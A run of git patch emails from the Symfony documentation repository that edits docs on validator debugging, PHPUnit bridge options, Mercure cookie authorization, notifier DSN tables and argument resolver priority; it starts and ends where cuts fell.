+        | firstArgument | Symfony\Component\Validator\Constraints\Email    | Default | [                                                          |
+        |               |                                                  |         |   "message" => "This value is not a valid email address.", |
+        |               |                                                  |         |   "mode" => null,                                          |
+        |               |                                                  |         |   "normalizer" => null,                                    |
+        |               |                                                  |         |   "payload" => null                                        |
+        |               |                                                  |         | ]                                                          |
+        +---------------+--------------------------------------------------+---------+------------------------------------------------------------+
+
+        App\Entity\DummyClassTwo
+        ------------------------
+
+        +---------------+--------------------------------------------------+---------+------------------------------------------------------------+
+        | Property      | Name                                             | Groups  | Options                                                    |
+        +---------------+--------------------------------------------------+---------+------------------------------------------------------------+
+        | firstArgument | Symfony\Component\Validator\Constraints\NotBlank | Default | [                                                          |
+        |               |                                                  |         |   "message" => "This value should not be blank.",          |
+        |               |                                                  |         |   "allowNull" => false,                                    |
+        |               |                                                  |         |   "normalizer" => null,                                    |
+        |               |                                                  |         |   "payload" => null                                        |
+        |               |                                                  |         | ]                                                          |
+        | firstArgument | Symfony\Component\Validator\Constraints\Email    | Default | [                                                          |
+        |               |                                                  |         |   "message" => "This value is not a valid email address.", |
+        |               |                                                  |         |   "mode" => null,                                          |
+        |               |                                                  |         |   "normalizer" => null,                                    |
+        |               |                                                  |         |   "payload" => null                                        |
+        |               |                                                  |         | ]                                                          |
+        +---------------+--------------------------------------------------+---------+------------------------------------------------------------+
+
 Final Thoughts
 --------------
 

From eb910e3a7f25966ee7c42ee8fddaf7dc48fe0c90 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 8 Sep 2020 19:15:01 +0200
Subject: [PATCH 1104/7107] Added the versionadded directive

---
 components/phpunit_bridge.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index fc7c0d6ae2e..177131e9415 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -296,7 +296,13 @@ By default, the bridge will display a detailed output with the number of
 deprecations and where they arise. If this is too much for you, you can use
 ``SYMFONY_DEPRECATIONS_HELPER=verbose=0`` to turn the verbose output off.
 
-It's also possible to change verbosity per deprecation type, for instance ``quiet[]=indirect&quiet[]=other`` will hide details for deprecations of types "indirect" and "other".
+It's also possible to change verbosity per deprecation type. For example, using
+``quiet[]=indirect&quiet[]=other`` will hide details for deprecations of types
+"indirect" and "other".
+
+.. versionadded:: 5.1
+
+    The ``quiet`` option was introduced in Symfony 5.1.
 
 Disabling the Deprecation Helper
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 7ec805a4e74f7bdb780fbb5390382414fdc44ce3 Mon Sep 17 00:00:00 2001
From: Gabriel Albuquerque <gabrielalbuquerque-ads@hotmail.com>
Date: Tue, 8 Sep 2020 09:18:41 -0300
Subject: [PATCH 1105/7107] :ambulance: Fixed: "Could not find package
 annotations" in composer require

Apparently, the "annotations" package doesn't exists. I saw in packagist page that the routing component requires a 'doctrine/annotations: ~1.2'.
Packagist symfony/routing url: https://packagist.org/packages/symfony/routing
---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index aa59369865e..fb7a6a4e67b 100644
--- a/routing.rst
+++ b/routing.rst
@@ -27,7 +27,7 @@ Run this command once in your application to add support for annotations:
 
 .. code-block:: terminal
 
-    $ composer require annotations
+    $ composer require doctrine/annotations
 
 In addition to installing the needed dependencies, this command creates the
 following configuration file:

From a8396f3da3dc2f569f8f712691b2c638d8fb3cbc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 8 Sep 2020 19:26:29 +0200
Subject: [PATCH 1106/7107] Tweaks

---
 validation.rst | 55 +++++++++-----------------------------------------
 1 file changed, 10 insertions(+), 45 deletions(-)

diff --git a/validation.rst b/validation.rst
index 14aab162aae..559c31a74f8 100644
--- a/validation.rst
+++ b/validation.rst
@@ -719,16 +719,21 @@ constraint that's applied to the class itself. When that class is validated,
 methods specified by that constraint are simply executed so that each can
 provide more custom validation.
 
-Debugging the constraints
+Debugging the Constraints
 -------------------------
 
-The ``debug:validator 'App\Entity\DummyClassOne'`` command lists validation constraints of ``App\Entity\DummyClassOne`` resource.
+.. versionadded:: 5.2
+
+    The ``debug:validator`` command was introduced in Symfony 5.2.
+
+Use the ``debug:validator`` command to list the validation constraints of a
+given class:
 
 .. code-block:: terminal
 
-    $ php bin/console debug:validator 'App\Entity\DummyClassOne'
+    $ php bin/console debug:validator 'App\Entity\SomeClass'
 
-        App\Entity\DummyClassOne
+        App\Entity\SomeClass
         -----------------------------------------------------
 
         +---------------+--------------------------------------------------+---------+------------------------------------------------------------+
@@ -748,52 +753,12 @@ The ``debug:validator 'App\Entity\DummyClassOne'`` command lists validation cons
         |               |                                                  |         | ]                                                          |
         +---------------+--------------------------------------------------+---------+------------------------------------------------------------+
 
-You can also list validation constraints for all resources of a path.
+You can also validate all the classes stored in a given directory:
 
 .. code-block:: terminal
 
     $ php bin/console debug:validator src/Entity
 
-        App\Entity\DummyClassOne
-        ------------------------
-
-        +---------------+--------------------------------------------------+---------+------------------------------------------------------------+
-        | Property      | Name                                             | Groups  | Options                                                    |
-        +---------------+--------------------------------------------------+---------+------------------------------------------------------------+
-        | firstArgument | Symfony\Component\Validator\Constraints\NotBlank | Default | [                                                          |
-        |               |                                                  |         |   "message" => "This value should not be blank.",          |
-        |               |                                                  |         |   "allowNull" => false,                                    |
-        |               |                                                  |         |   "normalizer" => null,                                    |
-        |               |                                                  |         |   "payload" => null                                        |
-        |               |                                                  |         | ]                                                          |
-        | firstArgument | Symfony\Component\Validator\Constraints\Email    | Default | [                                                          |
-        |               |                                                  |         |   "message" => "This value is not a valid email address.", |
-        |               |                                                  |         |   "mode" => null,                                          |
-        |               |                                                  |         |   "normalizer" => null,                                    |
-        |               |                                                  |         |   "payload" => null                                        |
-        |               |                                                  |         | ]                                                          |
-        +---------------+--------------------------------------------------+---------+------------------------------------------------------------+
-
-        App\Entity\DummyClassTwo
-        ------------------------
-
-        +---------------+--------------------------------------------------+---------+------------------------------------------------------------+
-        | Property      | Name                                             | Groups  | Options                                                    |
-        +---------------+--------------------------------------------------+---------+------------------------------------------------------------+
-        | firstArgument | Symfony\Component\Validator\Constraints\NotBlank | Default | [                                                          |
-        |               |                                                  |         |   "message" => "This value should not be blank.",          |
-        |               |                                                  |         |   "allowNull" => false,                                    |
-        |               |                                                  |         |   "normalizer" => null,                                    |
-        |               |                                                  |         |   "payload" => null                                        |
-        |               |                                                  |         | ]                                                          |
-        | firstArgument | Symfony\Component\Validator\Constraints\Email    | Default | [                                                          |
-        |               |                                                  |         |   "message" => "This value is not a valid email address.", |
-        |               |                                                  |         |   "mode" => null,                                          |
-        |               |                                                  |         |   "normalizer" => null,                                    |
-        |               |                                                  |         |   "payload" => null                                        |
-        |               |                                                  |         | ]                                                          |
-        +---------------+--------------------------------------------------+---------+------------------------------------------------------------+
-
 Final Thoughts
 --------------
 

From a774bc5e7a34dee4304ecda0ce38865f27cb4422 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Fri, 7 Aug 2020 18:47:13 -0400
Subject: [PATCH 1107/7107] update building locally without docker docs

---
 contributing/documentation/overview.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 1fb25f5b2a8..fc6a2c4e5e5 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -273,7 +273,8 @@ If you don't use Docker, follow these steps to build the docs locally:
 
    .. code-block:: terminal
 
-        $ pip install sphinx~=1.3.0 git+https://github.com/fabpot/sphinx-php.git
+        $ cd _build/
+        $ pip install -r .requirements.txt
 
 #. Run the following command to build the documentation in HTML format:
 

From f22c14c491eb13d49d946715cb0a7196e8ae148f Mon Sep 17 00:00:00 2001
From: Dmitriy Derepko <xepozz@list.ru>
Date: Mon, 3 Aug 2020 15:54:47 +0300
Subject: [PATCH 1108/7107] Update validation.rst

---
 validation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation.rst b/validation.rst
index fd18f003d56..04c625a4ae7 100644
--- a/validation.rst
+++ b/validation.rst
@@ -119,7 +119,7 @@ following:
 .. index::
    single: Validation; Using the validator
 
-Using the ``validator`` Service
+Using the validator Service
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Next, to actually validate an ``Author`` object, use the ``validate()`` method

From c0faf43bbc4b1556a90de6190a904116ff233d00 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 8 Sep 2020 20:54:18 +0200
Subject: [PATCH 1109/7107] Tweak

---
 validation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/validation.rst b/validation.rst
index 04c625a4ae7..71a41357a28 100644
--- a/validation.rst
+++ b/validation.rst
@@ -119,8 +119,8 @@ following:
 .. index::
    single: Validation; Using the validator
 
-Using the validator Service
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Using the Validator Service
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Next, to actually validate an ``Author`` object, use the ``validate()`` method
 on the ``validator`` service (which implements :class:`Symfony\\Component\\Validator\\Validator\\ValidatorInterface`).

From e6080ae7d9a5cae5cc79e2c31cdd41fae324c8c5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Chlo=C3=A9=20Briquet?= <ch.briquet@outlook.com>
Date: Sun, 8 Dec 2019 13:00:49 +0100
Subject: [PATCH 1110/7107] [Mercure] update mercure doc to add clarification
 in authorization

---
 mercure.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index 6660f6a38f1..e8a7664b32d 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -364,10 +364,17 @@ a JWT containing a topic selector matching by the update's topic.
 
 To provide this JWT, the subscriber can use a cookie,
 or a ``Authorization`` HTTP header.
-Cookies are automatically sent by the browsers when opening an ``EventSource`` connection.
+
+Cookies are automatically sent by the browsers when opening an ``EventSource`` connection if the ``withCredentials`` attribute is set to ``true``.
 Using cookies is the most secure and preferred way when the client is a web browser.
 If the client is not a web browser, then using an authorization header is the way to go.
 
+.. code-block:: javascript
+
+    const eventSource = new EventSource(hub, {
+        withCredentials: true
+    });
+
 .. tip::
 
     The native implementation of EventSource doesn't allow specifying headers.

From 3688f892a43042465be2f01187ec20be69b95af7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Sep 2020 19:42:26 +0200
Subject: [PATCH 1111/7107] Tweak

---
 mercure.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index e8a7664b32d..921a45f7226 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -365,9 +365,8 @@ a JWT containing a topic selector matching by the update's topic.
 To provide this JWT, the subscriber can use a cookie,
 or a ``Authorization`` HTTP header.
 
-Cookies are automatically sent by the browsers when opening an ``EventSource`` connection if the ``withCredentials`` attribute is set to ``true``.
-Using cookies is the most secure and preferred way when the client is a web browser.
-If the client is not a web browser, then using an authorization header is the way to go.
+Cookies are automatically sent by the browsers when opening an ``EventSource``
+connection if the ``withCredentials`` attribute is set to ``true``:
 
 .. code-block:: javascript
 
@@ -375,6 +374,10 @@ If the client is not a web browser, then using an authorization header is the wa
         withCredentials: true
     });
 
+Using cookies is the most secure and preferred way when the client is a web
+browser. If the client is not a web browser, then using an authorization header
+is the way to go.
+
 .. tip::
 
     The native implementation of EventSource doesn't allow specifying headers.

From de781e6d01410fd8d93a1c5b31e9ddb7b60c92d2 Mon Sep 17 00:00:00 2001
From: Simon Heimberg <simon.heimberg@heimberg-ea.ch>
Date: Fri, 27 Mar 2020 18:06:47 +0100
Subject: [PATCH 1112/7107] explain precedence of translation directories

Explain the precedence of translation directories configured in `translator.path`.
---
 reference/configuration/framework.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8b2265466b2..91511323468 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2186,7 +2186,9 @@ paths
 **type**: ``array`` **default**: ``[]``
 
 This option allows to define an array of paths where the component will look
-for translation files.
+for translation files. Translation entries from later directories overwrite
+earlyer ones. The last processed dir is `default_path <reference-translator-default_path>`
+(which has a default value).
 
 .. _reference-translator-default_path:
 

From 45e05859a085b75082f8205221513e84c25d2f81 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Sep 2020 19:56:37 +0200
Subject: [PATCH 1113/7107] Minor reword

---
 reference/configuration/framework.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 91511323468..403ae7b8679 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2186,9 +2186,10 @@ paths
 **type**: ``array`` **default**: ``[]``
 
 This option allows to define an array of paths where the component will look
-for translation files. Translation entries from later directories overwrite
-earlyer ones. The last processed dir is `default_path <reference-translator-default_path>`
-(which has a default value).
+for translation files. The later a path is added, the more priority it has
+(translations from later paths overwrite earlier ones). Translations from the
+`default_path <reference-translator-default_path>` have more priority than
+translations from all these paths.
 
 .. _reference-translator-default_path:
 

From 1a19dd50000425b14366f36d77e2b9d4b361d80e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Sep 2020 20:10:55 +0200
Subject: [PATCH 1114/7107] Tweak

---
 setup.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.rst b/setup.rst
index cbe48296472..d75c46346a8 100644
--- a/setup.rst
+++ b/setup.rst
@@ -268,7 +268,7 @@ create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/website-skeleton my_project_name "^4"
+    $ composer create-project symfony/website-skeleton:"^4.4" my_project_name
 
 The Symfony Demo application
 ----------------------------

From f54b53b63887fefd59446c6f86b7795dea1c8c3d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Romey?= <jeremy@free-agent.fr>
Date: Mon, 4 May 2020 10:18:18 +0200
Subject: [PATCH 1115/7107] [Notifier] Add Infobip

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 6c19202a77e..4e44eb75d02 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -63,6 +63,7 @@ OvhCloud    ``symfony/ovhcloud-notifier``      ``ovhcloud://APPLICATION_KEY:APPL
 Sinch       ``symfony/sinch-notifier``         ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
 FreeMobile  ``symfony/free-mobile-notifier``   ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
 Smsapi      ``symfony/smsapi-notifier``        ``smsapi://TOKEN@default?from=FROM``
+Infobip     ``symfony/infobip-notifier``     ``infobip://TOKEN@default?from=FROM``
 ==========  ================================  ====================================================
 
 .. versionadded:: 5.1
@@ -71,7 +72,7 @@ Smsapi      ``symfony/smsapi-notifier``        ``smsapi://TOKEN@default?from=FRO
 
 .. versionadded:: 5.2
 
-    The Smsapi integration was introduced in Symfony 5.2.
+    The Smsapi and Infobip integrations were introduced in Symfony 5.2.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 63ea8b7db68c2486650e5edb328bfb86aada02eb Mon Sep 17 00:00:00 2001
From: Deamon <bdurand-dev@outlook.com>
Date: Thu, 30 Apr 2020 23:56:33 +0200
Subject: [PATCH 1116/7107] Add Mobyt Notifier doc

---
 notifier.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 4e44eb75d02..023c4d110be 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -64,7 +64,8 @@ Sinch       ``symfony/sinch-notifier``         ``sinch://ACCOUNT_ID:AUTH_TOKEN@d
 FreeMobile  ``symfony/free-mobile-notifier``   ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
 Smsapi      ``symfony/smsapi-notifier``        ``smsapi://TOKEN@default?from=FROM``
 Infobip     ``symfony/infobip-notifier``     ``infobip://TOKEN@default?from=FROM``
-==========  ================================  ====================================================
+Mobyt       ``symfony/mobyt-notifier``       ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
+==========  ===============================  ====================================================
 
 .. versionadded:: 5.1
 
@@ -72,7 +73,7 @@ Infobip     ``symfony/infobip-notifier``     ``infobip://TOKEN@default?from=FROM
 
 .. versionadded:: 5.2
 
-    The Smsapi and Infobip integrations were introduced in Symfony 5.2.
+    The Smsapi, Infobip and Mobyt integrations were introduced in Symfony 5.2.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From ac72c0446640f0e89955d7057f34ac2759532601 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Sep 2020 20:30:48 +0200
Subject: [PATCH 1117/7107] Tweak

---
 forms.rst | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/forms.rst b/forms.rst
index 7ae7add03f8..afe5e3594ca 100644
--- a/forms.rst
+++ b/forms.rst
@@ -460,14 +460,11 @@ Before using validation, add support for it in your application:
     $ composer require symfony/validator
 
 Validation is done by adding a set of rules, called (validation) constraints,
-to a class.
+to a class. You can add them either to the entity class or to the form class.
 
-There are two approaches - you can either add the constraints to the entity,
-or you can add the constraints to the form.
-
-To see the first approach - adding constraints to the entity - in action, 
+To see the first approach - adding constraints to the entity - in action,
 add the validation constraints, so that the ``task`` field cannot be empty,
-and the ``dueDate`` field cannot be empty, and must be a valid \DateTime
+and the ``dueDate`` field cannot be empty, and must be a valid ``DateTime``
 object.
 
 .. configuration-block::
@@ -550,9 +547,9 @@ object.
         }
 
 That's it! If you re-submit the form with invalid data, you'll see the
-corresponding errors printed out with the form. 
+corresponding errors printed out with the form.
 
-To see the second approach - adding constraints to the form and to
+To see the second approach - adding constraints to the form - and to
 learn more about the validation constraints, please refer to the
 :doc:`Symfony validation documentation </validation>`.
 

From bc14a2ffac0d3aa47c20a3d7b9425d387ad203e9 Mon Sep 17 00:00:00 2001
From: Csaba Maulis <hello@senki.xyz>
Date: Wed, 9 Sep 2020 07:00:09 +0800
Subject: [PATCH 1118/7107] [PHPUnit Bridge] Fix text and table inconsistency

---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 9d546f0e96b..46b832f8993 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -814,7 +814,7 @@ its ``bin/simple-phpunit`` command. It has the following features:
 * Works with a standalone vendor directory that doesn't conflict with yours;
 * Does not embed ``prophecy`` to prevent any conflicts with its dependencies;
 * Uses PHPUnit 4.8 when run with PHP <=5.5, PHPUnit 5.7 when run with PHP >=5.6
-  and PHPUnit 6.5 when run with PHP >=7.2;
+  and PHPUnit 6.5 when run with PHP >=7.0;
 * Collects and replays skipped tests when the ``SYMFONY_PHPUNIT_SKIPPED_TESTS``
   env var is defined: the env var should specify a file name that will be used for
   storing skipped tests on a first run, and replay them on the second run;

From c1c550fd1b1692a12df73a76eb28de596499b003 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Sep 2020 20:34:08 +0200
Subject: [PATCH 1119/7107] Removed a paragrpah in favor of the table of data

---
 components/phpunit_bridge.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 46b832f8993..095a4840d64 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -813,8 +813,6 @@ its ``bin/simple-phpunit`` command. It has the following features:
 
 * Works with a standalone vendor directory that doesn't conflict with yours;
 * Does not embed ``prophecy`` to prevent any conflicts with its dependencies;
-* Uses PHPUnit 4.8 when run with PHP <=5.5, PHPUnit 5.7 when run with PHP >=5.6
-  and PHPUnit 6.5 when run with PHP >=7.0;
 * Collects and replays skipped tests when the ``SYMFONY_PHPUNIT_SKIPPED_TESTS``
   env var is defined: the env var should specify a file name that will be used for
   storing skipped tests on a first run, and replay them on the second run;

From 2936b3195504a5d65f432e10ca55eb8c74157e94 Mon Sep 17 00:00:00 2001
From: Hugo Casabella <hugo.casabella@gmail.com>
Date: Thu, 13 Aug 2020 21:20:31 +0200
Subject: [PATCH 1120/7107] Add information about resolver argument priority

---
 controller/argument_value_resolver.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index e1dd1b0ef99..7c6b5542c74 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -250,6 +250,7 @@ priority of 100. As this one is responsible for fetching attributes from the
 lower priority. This makes sure the argument resolvers are not triggered when
 the attribute is present. For instance, when passing the user along a
 sub-requests.
+However, if the argument is resolved from a request attribute, it is necessary to set a priority of at least 100 otherwise the resolver will not be executed.
 
 .. tip::
 

From eb6a274b824d7d28944b0864b4e99a3bda0dc9e4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Sep 2020 20:45:56 +0200
Subject: [PATCH 1121/7107] Reword

---
 controller/argument_value_resolver.rst | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 7c6b5542c74..6492fe2b5c5 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -244,13 +244,12 @@ and adding a priority.
         ;
 
 While adding a priority is optional, it's recommended to add one to make sure
-the expected value is injected. The ``RequestAttributeValueResolver`` has a
-priority of 100. As this one is responsible for fetching attributes from the
-``Request``, it's recommended to trigger your custom value resolver with a
-lower priority. This makes sure the argument resolvers are not triggered when
-the attribute is present. For instance, when passing the user along a
-sub-requests.
-However, if the argument is resolved from a request attribute, it is necessary to set a priority of at least 100 otherwise the resolver will not be executed.
+the expected value is injected. The built-in ``RequestAttributeValueResolver``,
+which fetches attributes from the ``Request``, has a priority of ``100``. If your
+resolver also fetches ``Request`` attributes, set a priority of ``100`` or more.
+Otherwise, set a priority lower than ``100`` to make sure the argument resolver
+is not triggered when the ``Request`` attribute is present (for example, when
+passing the user along sub-requests).
 
 .. tip::
 

From 08585c5ee61fe2cc9f33ae0b8e27432dc6b7d3fe Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Thu, 10 Sep 2020 14:44:01 +0200
Subject: [PATCH 1122/7107] Adopt src/.preload.php

---
 performance.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/performance.rst b/performance.rst
index e971699b21b..2881b9a17c0 100644
--- a/performance.rst
+++ b/performance.rst
@@ -119,7 +119,7 @@ The preload file path is the same as the compiled service container but with the
 .. code-block:: ini
 
     ; php.ini
-    opcache.preload=/path/to/project/src/preload.php
+    opcache.preload=/path/to/project/src/.preload.php
 
 This file is generated by the ``cache:clear`` command.
 

From 34ff1e3a72153c084f85f7b725d70b2e72918441 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?= <jan.schaedlich@sensiolabs.de>
Date: Thu, 10 Sep 2020 14:56:09 +0200
Subject: [PATCH 1123/7107] fix build error: inline literal start-string
 without end-string

---
 reference/twig_reference.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index a12e712abce..0a6c9db3154 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -279,7 +279,7 @@ impersonation_exit_path
 
 .. versionadded:: 5.2
 
-    The ``impersonation_exit_path()` function was introduced in Symfony 5.2.
+    The ``impersonation_exit_path()`` function was introduced in Symfony 5.2.
 
 Generates a URL that you can visit to exit :doc:`user impersonation </security/impersonating_user>`.
 After exiting impersonation, the user is redirected to the current URI. If you
@@ -299,7 +299,7 @@ impersonation_exit_url
 
 .. versionadded:: 5.2
 
-    The ``impersonation_exit_url()` function was introduced in Symfony 5.2.
+    The ``impersonation_exit_url()`` function was introduced in Symfony 5.2.
 
 It's similar to the `impersonation_exit_path`_ function, but it generates
 absolute URLs instead of relative URLs.

From 9204ff20ef28376260ec0aa2836e7bc661163f67 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Romey?= <jeremy@free-agent.fr>
Date: Thu, 10 Sep 2020 14:57:07 +0200
Subject: [PATCH 1124/7107] Sort notifiers

---
 notifier.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 7aab8e37de0..9737df6395e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -57,11 +57,11 @@ with a couple popular SMS services:
 ==========  ================================  ====================================================
 Service     Package                           DSN
 ==========  ================================  ====================================================
-Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=FROM``
+FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
 Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``
 OvhCloud    ``symfony/ovhcloud-notifier``     ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
 Sinch       ``symfony/sinch-notifier``        ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
+Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=FROM``
 ==========  ================================  ====================================================
 
 .. versionadded:: 5.1
@@ -131,10 +131,10 @@ integration with these chat services:
 ==========  ================================  ============================================
 Service     Package                           DSN
 ==========  ================================  ============================================
-Slack       ``symfony/slack-notifier``        ``slack://default/ID``
-Telegram    ``symfony/telegram-notifier``     ``telegram://TOKEN@default?channel=CHAT_ID``
 Mattermost  ``symfony/mattermost-notifier``   ``mattermost://TOKEN@ENDPOINT?channel=CHANNEL``
 RocketChat  ``symfony/rocket-chat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
+Slack       ``symfony/slack-notifier``        ``slack://default/ID``
+Telegram    ``symfony/telegram-notifier``     ``telegram://TOKEN@default?channel=CHAT_ID``
 ==========  ================================  ============================================
 
 .. versionadded:: 5.1

From 8dec0b7ccf950bfb0b6958e102b017dcd9cea7a0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?= <jan.schaedlich@sensiolabs.de>
Date: Thu, 10 Sep 2020 14:53:05 +0200
Subject: [PATCH 1125/7107] add symfony/esendex-notifier integration docs

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 37545c22534..ea066e5ed00 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -57,6 +57,7 @@ with a couple popular SMS services:
 ==========  ================================  ====================================================
 Service     Package                           DSN
 ==========  ================================  ====================================================
+Esendex     ``symfony/esendex-notifier``      ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
 FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
 Infobip     ``symfony/infobip-notifier``      ``infobip://TOKEN@default?from=FROM``
 Mobyt       ``symfony/mobyt-notifier``        ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
@@ -73,7 +74,7 @@ Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=
 
 .. versionadded:: 5.2
 
-    The Smsapi, Infobip and Mobyt integrations were introduced in Symfony 5.2.
+    The Smsapi, Infobip, Mobyt and Esendex integrations were introduced in Symfony 5.2.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 36f44c9fbf4e5af8099a4e0e0e7d84d1fc43781e Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 8 Jun 2020 23:51:06 +0200
Subject: [PATCH 1126/7107] Update some terminology based on AlexJS reports

---
 .alexrc                                       | 16 ++++++++++
 bundles.rst                                   |  6 ++--
 configuration.rst                             |  2 +-
 configuration/dot-env-changes.rst             |  4 +--
 .../front_controllers_and_kernel.rst          |  2 +-
 configuration/micro_kernel_trait.rst          |  2 +-
 configuration/multiple_kernels.rst            | 13 ++++-----
 configuration/using_parameters_in_dic.rst     |  4 +--
 console.rst                                   |  2 +-
 console/calling_commands.rst                  | 20 ++++++-------
 console/command_in_controller.rst             | 10 +++----
 console/commands_as_services.rst              |  5 ++--
 console/hide_commands.rst                     |  4 +--
 console/input.rst                             |  6 ++--
 console/lockable_trait.rst                    | 10 +++----
 controller.rst                                |  6 ++--
 controller/argument_value_resolver.rst        |  2 +-
 controller/error_pages.rst                    | 10 +++----
 controller/forwarding.rst                     |  4 +--
 deployment.rst                                |  2 +-
